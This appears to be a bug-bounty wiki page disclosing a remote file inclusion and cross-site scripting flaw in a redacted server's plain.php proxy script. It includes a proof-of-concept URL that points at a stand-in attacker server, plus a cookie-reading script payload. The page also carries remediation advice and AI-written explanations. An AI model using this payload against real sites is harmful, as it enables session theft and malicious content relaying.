Remote File Inclusion, Malicious File Hosting, and Cross-site Scripting (XSS) in ████████
A script on the server fetches a URL supplied by the user and renders the returned content, including HTML and JavaScript, in the site's own page. An attacker could host a malicious page elsewhere and have it displayed to victims, enabling cross-site scripting and turning the server into a relay for malicious files.
- Triaged in 18 hours
- Fixed in 15 months
- Disclosed after 2.9 years
Details:
There is currently a security misconfiguration on plain.php function located on the host http://██████████/ allowing attackers to include webserver contents of their choosing (no restriction on filetypes and/or IP addresses), as well as embed malicious javascript payloads in the response via filenames. This allows attackers to hijack the entire page as a malicious file hosting relay and/or leverage it for XSS attacks on users (authenticated or otherwise).
Technical Explanation:
This vulnerability occurs because of the web application's functionality which is intended to pull directory contents from a specified location. This functionality extends to importing the contents of those files, meaning that web-page formatted code and/or web page files (.php,.html etc.) saved on the attacker's server, will be rendered to the victim BY the ████████ server.
Exploitation and Validation:
The above information means that attackers can do things like the following:
#[1]
- Setup attacking server with malicious web page(s):
python -m SimpleHTTPServer 80 - Import the web-page directly into the █████ page:
http://███/████/proxys/plain.php?url=http://attacker_server/t.html&operation=GetParameterInfo¶meter=countryBoundaryLayer&outputFormat=JSON.
███
█████
Source & Contents of t.html:
<h1>JUTSUCE RFI TEST</h1>
<script>alert(document.cookie)</script>
<script>alert('jutsuce')</script>
█████████
#[2] Additional Exploitation Vectors: ██████ ███ ████████ ██████
#[3] Due to the lack of whitelisting and/or site restrictions pseudo-Server-Side-Request-Forgery (SSRF) is a feasible attack vector, and would be easily automated:
- Internal IP Address Scanning
- Internal Site &/or File Compromise
Remediation:
Remove the ability for any external interaction within a functionality of this nature. If external interaction is absolutely required then alongside whitelisting (what hosts/files/etc. are valid), authenticative restrictions should be implemented in order to restrict accessibility. Whether or not interaction is restricted to internalized site(s), the function should have whitelisting implemented to stop the [3] set of exploit vectors listed above.
Thank you!
~Jutsuce
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the script accepts an arbitrary URL and renders the fetched content without restricting hosts, file types or sanitising the output.
Impact
An attacker could run scripts in a victim's browser and use the server as a relay for malicious files; the report also claims internal address scanning is feasible, though no internal access is demonstrated.
What the attacker needed
Attacker-controlled web server; victim visits crafted URL
The fix
The functionality should be removed or, if required, restricted with host and file whitelisting plus authentication checks.
How it was found
- Host a malicious web page on a server the attacker controls.
- Request the vulnerable script with the attacker's page URL as a parameter.
- The server fetches the page and returns its content, including scripts, to the victim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The site has a page that can be told to go and fetch another web address and then show whatever it finds. Because it shows the fetched content as if it were part of the site itself, an attacker can put harmful code on their own server and have the victim's browser run it. That lets the attacker run scripts in the victim's session, which is called cross-site scripting.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.